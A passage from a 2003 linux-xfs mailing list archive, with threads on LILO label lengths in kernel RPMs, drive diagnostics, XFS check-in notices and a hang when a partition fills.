2003 00:04:05 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T73lFx006498 for ; Mon, 29 Sep 2003 00:03:48 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id DC8AB32C8F; Mon, 29 Sep 2003 09:03:40 +0200 (CEST) Received: from av-01.ch.sauter-bc.com (av-01.ch.sauter-bc.com [10.1.6.28]) by mailhub.ch.sauter-bc.com (Postfix) with SMTP id 505CF32CD6; Mon, 29 Sep 2003 09:03:39 +0200 (CEST) Received: from mx-05-bsl.ch.sauter-bc.com ([10.1.6.20]) by av-01.ch.sauter-bc.com (SAVSMTP 3.1.2.35) with SMTP id M2003092909033813888 ; Mon, 29 Sep 2003 09:03:38 +0200 Received: from webmail.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mx-05-bsl.ch.sauter-bc.com (Postfix) with SMTP id 3F5B34E20B; Mon, 29 Sep 2003 09:03:39 +0200 (CEST) Received: from 10.1.200.117 (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Mon, 29 Sep 2003 09:03:39 +0200 (CEST) Message-ID: <3247.10.1.200.117.1064819019.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: References: <000401c385e1$a0dade60$22f6f582@resnet.sunysb.edu> Date: Mon, 29 Sep 2003 09:03:39 +0200 (CEST) Subject: RE: XFS Patches for redhat kernel From: "Simon Matter" To: "Eric Sandeen" Cc: "Piyush Kumar" , "'Net Llama!'" , linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8T73mFx006505 X-archive-position: 569 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 1173 Lines: 37 While we are at it, I recommend the ultimate boot CD which has all of the tools bootable from CD. Check it out here http://www.ultimatebootcd.com/ -Simon > A bit OT, but most drive vendors have drive tests that you can download > and run, some even run under linux; if not, many can be run from a dos > boot > floppy. They can read the S.M.A.R.T. data off the drive, and tell you > with > a good degree of certainty whether you have hardware problems or not. > > Just because you see hardware errors when using xfs and not when using > ext3 > doesn't mean that xfs is in any way at fault; drive access patterns could > be quite > different between the two. > > -Eric > >> After getting fed up, I reinstalled "/" as ext3 on /dev/h da >> (My Maxtor hard drive) and checked >> for bad sectors this time while installation. /dev/sda(3ware RAID) >> still has my home directories and has XFS on it. >> Everything went thru well (as I was expecting) and my >> redhat is running for now. > > > -- Simon Matter Tel: +41 61 695 57 35 Fr.Sauter AG / CIT Fax: +41 61 695 53 30 Im Surinam 55 CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] From owner-linux-xfs@oss.sgi.com Mon Sep 29 02:30:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 02:31:24 -0700 (PDT) Received: from hammail2.truenorth.com ([213.61.138.99]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T9UkFx020145 for ; Mon, 29 Sep 2003 02:30:47 -0700 Received: from [170.200.66.61] ([170.200.66.61]) by hammail2.truenorth.com (Netscape Messaging Server 4.15) with ESMTP id HLYYF400.1HB; Mon, 29 Sep 2003 11:30:40 +0200 In-Reply-To: References: <1064596055.14988.8.camel@localhost> Mime-Version: 1.0 (Apple Message framework v599) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> Content-Transfer-Encoding: 7bit Cc: linux-xfs@oss.sgi.com, Aly Dharshi From: "Harald Wagener" Subject: Re: Installer CD for XFS 1.3 Date: Mon, 29 Sep 2003 11:30:39 +0200 To: Net Llama! X-Mailer: Apple Mail (2.599) X-archive-position: 570 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hwagener@hamburg.fcb.com Precedence: bulk X-list: linux-xfs Content-Length: 266 Lines: 12 On 26.09.2003, at 19:41, Net Llama! wrote: > Which bootloader? grub or LILO? don't use grub. > For lilo, the default label created by the kernel rpm is too long. You need to shorten the label's name. This is also possible in the chroot. Regards, Harald From owner-linux-xfs@oss.sgi.com Mon Sep 29 06:14:55 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 06:15:38 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TDEsFx005997 for ; Mon, 29 Sep 2003 06:14:54 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.10/8.12.10) with ESMTP id h8TDEdET019839; Mon, 29 Sep 2003 09:14:39 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.10/8.12.10/Submit) with ESMTP id h8TDEdlK024456; Mon, 29 Sep 2003 09:14:39 -0400 Date: Mon, 29 Sep 2003 09:14:39 -0400 (EDT) From: Net Llama! To: Harald Wagener cc: linux-xfs@oss.sgi.com, Aly Dharshi Subject: Re: Installer CD for XFS 1.3 In-Reply-To: <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> Message-ID: References: <1064596055.14988.8.camel@localhost> <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 572 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 600 Lines: 18 On Mon, 29 Sep 2003, Harald Wagener wrote: > > On 26.09.2003, at 19:41, Net Llama! wrote: > > > Which bootloader? grub or LILO? don't use grub. > > > > For lilo, the default label created by the kernel rpm is too long. You > need to shorten the label's name. This is also possible in the chroot. For RH9?? Funny, i didn't run into this on any of the 5 boxes that I've installed. Also didn't run into it for RH-7.3. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Mon Sep 29 07:31:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 07:31:49 -0700 (PDT) Received: from hammail2.truenorth.com ([213.61.138.99]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEUhFx008689 for ; Mon, 29 Sep 2003 07:31:04 -0700 Received: from [170.200.66.61] ([170.200.66.61]) by hammail2.truenorth.com (Netscape Messaging Server 4.15) with ESMTP id HLZCB100.UG2 for ; Mon, 29 Sep 2003 16:30:37 +0200 Mime-Version: 1.0 (Apple Message framework v599) In-Reply-To: References: <1064596055.14988.8.camel@localhost> <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7E5DD6B4-F289-11D7-9D9B-003065DC18B8@hamburg.fcb.com> Content-Transfer-Encoding: 7bit From: "Harald Wagener" Subject: Re: Installer CD for XFS 1.3 Date: Mon, 29 Sep 2003 16:30:37 +0200 To: linux-xfs@oss.sgi.com X-Mailer: Apple Mail (2.599) X-archive-position: 573 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hwagener@hamburg.fcb.com Precedence: bulk X-list: linux-xfs Content-Length: 636 Lines: 24 On 29.09.2003, at 15:14, Net Llama! wrote: > On Mon, 29 Sep 2003, Harald Wagener wrote: >> >> On 26.09.2003, at 19:41, Net Llama! wrote: >> >>> Which bootloader? grub or LILO? don't use grub. >>> >> >> For lilo, the default label created by the kernel rpm is too long. You >> need to shorten the label's name. This is also possible in the chroot. > > For RH9?? Funny, i didn't run into this on any of the 5 boxes that > I've > installed. Also didn't run into it for RH-7.3. > Hmmm. I actually did not install the RH9 cds, only the RH8 ones. The problem persists with the 2.4.20 rpms from atrpms, though. Regards, Harald From owner-linux-xfs@oss.sgi.com Mon Sep 29 07:50:37 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 07:51:11 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEoaFx010413 for ; Mon, 29 Sep 2003 07:50:37 -0700 Received: from puariko.homeip.net (vdp031.hal01.gwc.hol.gr [195.97.11.63]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8TEoFcT010508 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 29 Sep 2003 16:50:26 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8TEoK2o003807; Mon, 29 Sep 2003 17:50:20 +0300 Date: Mon, 29 Sep 2003 17:50:18 +0300 From: Axel Thimm To: Harald Wagener Cc: linux-xfs@oss.sgi.com Subject: Re: Installer CD for XFS 1.3 Message-ID: <20030929145018.GD1715@pua.nirvana> References: <1064596055.14988.8.camel@localhost> <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> <7E5DD6B4-F289-11D7-9D9B-003065DC18B8@hamburg.fcb.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5gxpn/Q6ypwruk0T" Content-Disposition: inline In-Reply-To: <7E5DD6B4-F289-11D7-9D9B-003065DC18B8@hamburg.fcb.com> User-Agent: Mutt/1.4.1i X-archive-position: 574 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 1715 Lines: 48 --5gxpn/Q6ypwruk0T Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 29, 2003 at 04:30:37PM +0200, Harald Wagener wrote: > On 29.09.2003, at 15:14, Net Llama! wrote: > >On Mon, 29 Sep 2003, Harald Wagener wrote: > >>On 26.09.2003, at 19:41, Net Llama! wrote: > >>>Which bootloader? grub or LILO? don't use grub. > >>For lilo, the default label created by the kernel rpm is too long. You > >>need to shorten the label's name. This is also possible in the chroot. > >For RH9?? Funny, i didn't run into this on any of the 5 boxes that > >I've installed. Also didn't run into it for RH-7.3. >=20 > Hmmm. I actually did not install the RH9 cds, only the RH8 ones. The=20 > problem persists with the 2.4.20 rpms from atrpms, though. Which problem and which platform (RH8.0 or RH9)? And is the problem expected to be there or not (e.g. the atrpms kernel have exactly XFS 1.3.0 and nothing newer)? I obviously kinda lost the context ... ;) Make sure you do have the latest (stable) atrpms bits, especially the kernel and rpm itself (if you are referring to the O_DIRECT bug). I install kernels with grub without any problems for quite some time now. There are (were?) issues with the installer & grub, but I am not sure you are referring to them. Please add the output of rpm -q kernel rpm xfsprogs --=20 Axel.Thimm@physik.fu-berlin.de --5gxpn/Q6ypwruk0T Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/eEaoQBVS1GOamfERAkiYAJ9TrC0oGLWyStl1pO45CbSV9QXfVwCgkeWa anC4so/m2l/pGBqrDCb700Q= =DXaI -----END PGP SIGNATURE----- --5gxpn/Q6ypwruk0T-- From owner-linux-xfs@oss.sgi.com Mon Sep 29 08:17:27 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 08:18:10 -0700 (PDT) Received: from hammail2.truenorth.com ([213.61.138.99]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TFHQFx011126 for ; Mon, 29 Sep 2003 08:17:27 -0700 Received: from [170.200.66.61] ([170.200.66.61]) by hammail2.truenorth.com (Netscape Messaging Server 4.15) with ESMTP id HLZEGW00.MGE; Mon, 29 Sep 2003 17:17:20 +0200 In-Reply-To: <20030929145018.GD1715@pua.nirvana> References: <1064596055.14988.8.camel@localhost> <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> <7E5DD6B4-F289-11D7-9D9B-003065DC18B8@hamburg.fcb.com> <20030929145018.GD1715@pua.nirvana> Mime-Version: 1.0 (Apple Message framework v599) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <04C17DE3-F290-11D7-9D9B-003065DC18B8@hamburg.fcb.com> Content-Transfer-Encoding: 7bit Cc: linux-xfs@oss.sgi.com From: "Harald Wagener" Subject: Re: Installer CD for XFS 1.3 Date: Mon, 29 Sep 2003 17:17:19 +0200 To: Axel Thimm X-Mailer: Apple Mail (2.599) X-archive-position: 575 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hwagener@hamburg.fcb.com Precedence: bulk X-list: linux-xfs Content-Length: 1872 Lines: 52 On 29.09.2003, at 16:50, Axel Thimm wrote: > On Mon, Sep 29, 2003 at 04:30:37PM +0200, Harald Wagener wrote: >> On 29.09.2003, at 15:14, Net Llama! wrote: >>> On Mon, 29 Sep 2003, Harald Wagener wrote: >>>> On 26.09.2003, at 19:41, Net Llama! wrote: >>>>> Which bootloader? grub or LILO? don't use grub. >>>> For lilo, the default label created by the kernel rpm is too long. >>>> You >>>> need to shorten the label's name. This is also possible in the >>>> chroot. >>> For RH9?? Funny, i didn't run into this on any of the 5 boxes that >>> I've installed. Also didn't run into it for RH-7.3. >> >> Hmmm. I actually did not install the RH9 cds, only the RH8 ones. The >> problem persists with the 2.4.20 rpms from atrpms, though. > > Which problem and which platform (RH8.0 or RH9)? And is the problem > expected to be there or not (e.g. the atrpms kernel have exactly XFS > 1.3.0 and nothing newer)? I obviously kinda lost the context ... ;) > > Make sure you do have the latest (stable) atrpms bits, especially the > kernel and rpm itself (if you are referring to the O_DIRECT bug). > > I install kernels with grub without any problems for quite some time > now. There are (were?) issues with the installer & grub, but I am not > sure you are referring to them. > > Please add the output of > rpm -q kernel rpm xfsprogs Ooops, sorry, for the confusion. I talk about lilo. The lilo.conf entries created by the kernel rpm install has labels too long for lilo to use. Installed RedHat version and relevant rpms: [hollow@fileserver1 hollow ]$ cat /etc/redhat-release Red Hat Linux release 8.0 (Psyche) [hollow@fileserver1 hollow ]$ rpm -q lilo kernel rpm xfsprogs lilo-21.4.4-13 lilo-21.4.4-20 kernel-2.4.18-14SGI_XFS_1.2a1 kernel-2.4.20-20_29.rh8.0.at rpm-4.1-1.06 xfsprogs-2.3.5-0 [hollow@fileserver1 hollow ]$ The system is up2date'd. Regards, Harald From owner-linux-xfs@oss.sgi.com Mon Sep 29 10:03:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 10:04:15 -0700 (PDT) Received: from localhost.localdomain (host-65-120-145-91.coremetrics.com [65.120.145.91] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TH3FFx016756 for ; Mon, 29 Sep 2003 10:03:35 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id h8TGwgKb003241 for ; Mon, 29 Sep 2003 11:58:42 -0500 Received: (from austin@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id h8TGwgAN003239 for linux-xfs@oss.sgi.com; Mon, 29 Sep 2003 11:58:42 -0500 X-Authentication-Warning: localhost.localdomain: austin set sender to austin@coremetrics.com using -f Subject: Anyone running XFS on a Dell 6650 and Qla23xx controllers? From: Austin Gonyou To: XFS List Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1064854721.2516.2.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Mon, 29 Sep 2003 11:58:42 -0500 X-archive-position: 576 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Content-Length: 310 Lines: 10 I'm in need of some discussion/configuration info to help possibly troubleshoot a problem we've seen with trying to use newer kernels in our environment. If anyone can lend some email time, or even some IRC or phone time I'd be pretty grateful. -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Mon Sep 29 14:58:29 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 14:59:10 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLwSFx027334 for ; Mon, 29 Sep 2003 14:58:29 -0700 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8TLwNq0007355 for ; Mon, 29 Sep 2003 14:58:23 -0700 Received: from stout.americas.sgi.com (localhost [127.0.0.1]) by stout.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8TLwHTd014242; Mon, 29 Sep 2003 16:58:23 -0500 Received: (from sandeen@localhost) by stout.americas.sgi.com (8.12.8/8.12.8/Submit) id h8TLw2Ld014240; Mon, 29 Sep 2003 16:58:02 -0500 Date: Mon, 29 Sep 2003 16:58:02 -0500 From: Eric Sandeen Message-Id: <200309292158.h8TLw2Ld014240@stout.americas.sgi.com> Subject: TAKE - [2.6] Fix large filesystem mounts on 64-bit platforms X-archive-position: 577 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@stout.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 537 Lines: 16 Fix large filesystem mounts on 64-bit platforms (2.6.x change only) Date: Mon Sep 29 14:57:19 PDT 2003 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.5.x-xfs/workarea The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:159170a linux/fs/xfs/xfs_types.h - 1.71 - Fix check for allowing large filesystems in 2.6 - all 64-bit platforms get to do this regardless of CONFIG_LBD or HAVE_SECTOR_T. Thanks to Anton Blanchard for finding this (2.6.x change only). From owner-linux-xfs@oss.sgi.com Mon Sep 29 15:37:24 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 15:38:07 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TMbLFx029227 for ; Mon, 29 Sep 2003 15:37:24 -0700 Received: from puariko.homeip.net (vdp018.hal01.gwc.hol.gr [195.97.11.50]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8TMb4cT021364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Sep 2003 00:37:18 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8TMbDUd004138; Tue, 30 Sep 2003 01:37:14 +0300 Date: Tue, 30 Sep 2003 01:37:11 +0300 From: Axel Thimm To: Harald Wagener Cc: linux-xfs@oss.sgi.com Subject: Re: Installer CD for XFS 1.3 Message-ID: <20030929223711.GC1715@pua.nirvana> References: <1064596055.14988.8.camel@localhost> <96DF7998-F25F-11D7-8092-003065DC18B8@hamburg.fcb.com> <7E5DD6B4-F289-11D7-9D9B-003065DC18B8@hamburg.fcb.com> <20030929145018.GD1715@pua.nirvana> <04C17DE3-F290-11D7-9D9B-003065DC18B8@hamburg.fcb.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="t0UkRYy7tHLRMCai" Content-Disposition: inline In-Reply-To: <04C17DE3-F290-11D7-9D9B-003065DC18B8@hamburg.fcb.com> User-Agent: Mutt/1.4.1i X-archive-position: 578 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 1360 Lines: 41 --t0UkRYy7tHLRMCai Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 29, 2003 at 05:17:19PM +0200, Harald Wagener wrote: > Ooops, sorry, for the confusion. I talk about lilo. The lilo.conf=20 > entries created by the kernel rpm install has labels too long for lilo=20 > to use. [...] Ah, OK, this is then not really related to SGI or atrpms kernel, they just happen to have too long of a kernel name. The entries are created by /sbin/new-kernel-pkg part of the mkinitrd rpm, which uses grubby. Looking at its man page it should have been dealing fine with the issue: > When a new kernel entry is added entry-title is used as the title > (lilo label) for the entry. If entry-title is longer then maximum > length allowed by the bootloader (15 for lilo, unlimited for grub > and elilo) the title is shortened to a (unique) entry. But apparently it does not. Maybe the RH8.0 version didn't have that check. Read grubby's man page to find out. --=20 Axel.Thimm@physik.fu-berlin.de --t0UkRYy7tHLRMCai Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/eLQWQBVS1GOamfERAv8UAJ0Y+48R+AOhLrPZ4ZFmATQSZF8KbgCdHNYQ IRKFAtN49Ar93ny+0lzsnPc= =keaz -----END PGP SIGNATURE----- --t0UkRYy7tHLRMCai-- From owner-linux-xfs@oss.sgi.com Mon Sep 29 17:00:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 17:01:19 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U00aFx002747 for ; Mon, 29 Sep 2003 17:00:36 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8TM3tOO012331 for ; Mon, 29 Sep 2003 15:03:56 -0700 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8U00SVB7867730; Tue, 30 Sep 2003 10:00:29 +1000 (EST) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id h8U00RlH8185889; Tue, 30 Sep 2003 10:00:27 +1000 (EST) Date: Tue, 30 Sep 2003 10:00:27 +1000 (EST) From: Nathan Scott Message-Id: <200309300000.h8U00RlH8185889@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com, agruen@suse.de Subject: TAKE - setfacl man page X-archive-position: 579 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 366 Lines: 15 Fix a minor documentation error in setfacl man page Date: Mon Sep 29 16:59:58 PDT 2003 Workarea: snort.melbourne.sgi.com:/home/nathans/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:159180a acl/VERSION - 1.57 acl/doc/CHANGES - 1.65 acl/man/man1/setfacl.1 - 1.10 acl/debian/changelog - 1.51 From owner-linux-xfs@oss.sgi.com Mon Sep 29 23:33:21 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 2003 23:34:05 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8U6XKFx018585 for ; Mon, 29 Sep 2003 23:33:20 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.54.232]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8U6XEq0016476 for ; Mon, 29 Sep 2003 23:33:14 -0700 Received: from sherman.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by sherman.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8U6XDns005974 for ; Tue, 30 Sep 2003 16:33:13 +1000 Received: (from tes@localhost) by sherman.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8U6XDvX005972 for linux-xfs@oss.sgi.com; Tue, 30 Sep 2003 16:33:13 +1000 Date: Tue, 30 Sep 2003 16:33:13 +1000 From: Tim Shimmin Message-Id: <200309300633.h8U6XDvX005972@sherman.melbourne.sgi.com> Subject: TAKE - logprint and qa/018 for v2 logs X-archive-position: 580 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tes@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 631 Lines: 24 update for version 2 logs Date: Mon Sep 29 23:31:43 PDT 2003 Workarea: sherman.melbourne.sgi.com:/build/tes/isms/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:159192a xfstests/018.noquota.op - 1.1 xfstests/018.ugquota.trans_inode - 1.1 xfstests/018.noquota.trans_inode - 1.1 xfstests/018.noquota.trans_buf - 1.1 xfsprogs/VERSION - 1.90 xfsprogs/doc/CHANGES - 1.128 xfsprogs/logprint/log_misc.c - 1.14 xfstests/018 - 1.22 xfstests/018.ugquota - 1.5 xfstests/018.usrquota - 1.7 xfstests/018.grpquota - 1.5 xfstests/018.noquota - 1.6 xfstests/018.out - 1.2 From owner-linux-xfs@oss.sgi.com Tue Sep 30 03:47:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 03:48:08 -0700 (PDT) Received: from usnj01exfe01.mindtree.com ([12.144.42.104]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UAl7Fx013688 for ; Tue, 30 Sep 2003 03:47:28 -0700 Received: from mtv01exfe01.mindtree.com ([172.20.32.14]) by usnj01exfe01.mindtree.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 30 Sep 2003 06:44:36 -0400 Received: from mtv01ex01.mindtree.com ([172.20.32.4]) by mtv01exfe01.mindtree.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 30 Sep 2003 16:14:30 +0530 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: System hangs on xfs filessystem full Date: Tue, 30 Sep 2003 16:14:30 +0530 Importance: normal Priority: normal Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: System hangs on xfs filessystem full Thread-Index: AcOHP9PZINyolZKpSjmbNz0dgY2ghA== From: "Shridhar GR" To: X-OriginalArrivalTime: 30 Sep 2003 10:44:30.0657 (UTC) FILETIME=[D4093B10:01C3873F] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8UAlSFx013692 X-archive-position: 581 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Shridhar_GR@mindtree.com Precedence: bulk X-list: linux-xfs Content-Length: 1653 Lines: 24 Hi I have a problem working with XFS patched kernel. I have patched kernel 2.4.21 with patch " " downloaded from place "Index of /pub/sgi-oss/xfs/patches/weekly-snapshot-patch" and compiled the kernel with xfs,acl and quota support enabled. I am using VIA EPIA-M Mini-ITX Mainboard with VIA chiset. While compiling the kernel I have selected the CPU to be of type "X86 type i.e 586/k5/5x86...." option. I have also applied a patch for IEEE 1394 before applying this xfs patch. When I try to copy a large file on to xfs partition using direct "cp" command or nfs or samba, the system hangs when partition or disk is full. > It would be of great help if u can brief what exactly is the problem and how to fix this. Also, can u please say about the latest stable xfs patch source from where I can down load the correct patch for kernel 2.4.21 and respective XFS utilities. thank U Regards Shridhar DISCLAIMER: This message (including attachment if any) is confidential and may be privileged. Before opening attachments please check them for viruses and defects. MindTree Consulting Private Limited (MindTree) will not be responsible for any viruses or defects or any forwarded attachments emanating either from within MindTree or outside. If you have received this message by mistake please notify the sender by return e-mail and delete this message from your system. Any unauthorized use or dissemination of this message in whole or in part is strictly prohibited. Please note that e-mails are susceptible to change and MindTree shall not be liable for any improper, untimely or incomplete transmission. From owner-linux-xfs@oss.sgi.com Tue Sep 30 04:26:04 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 04:26:50 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UBQ2Fx017686 for ; Tue, 30 Sep 2003 04:26:03 -0700 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com 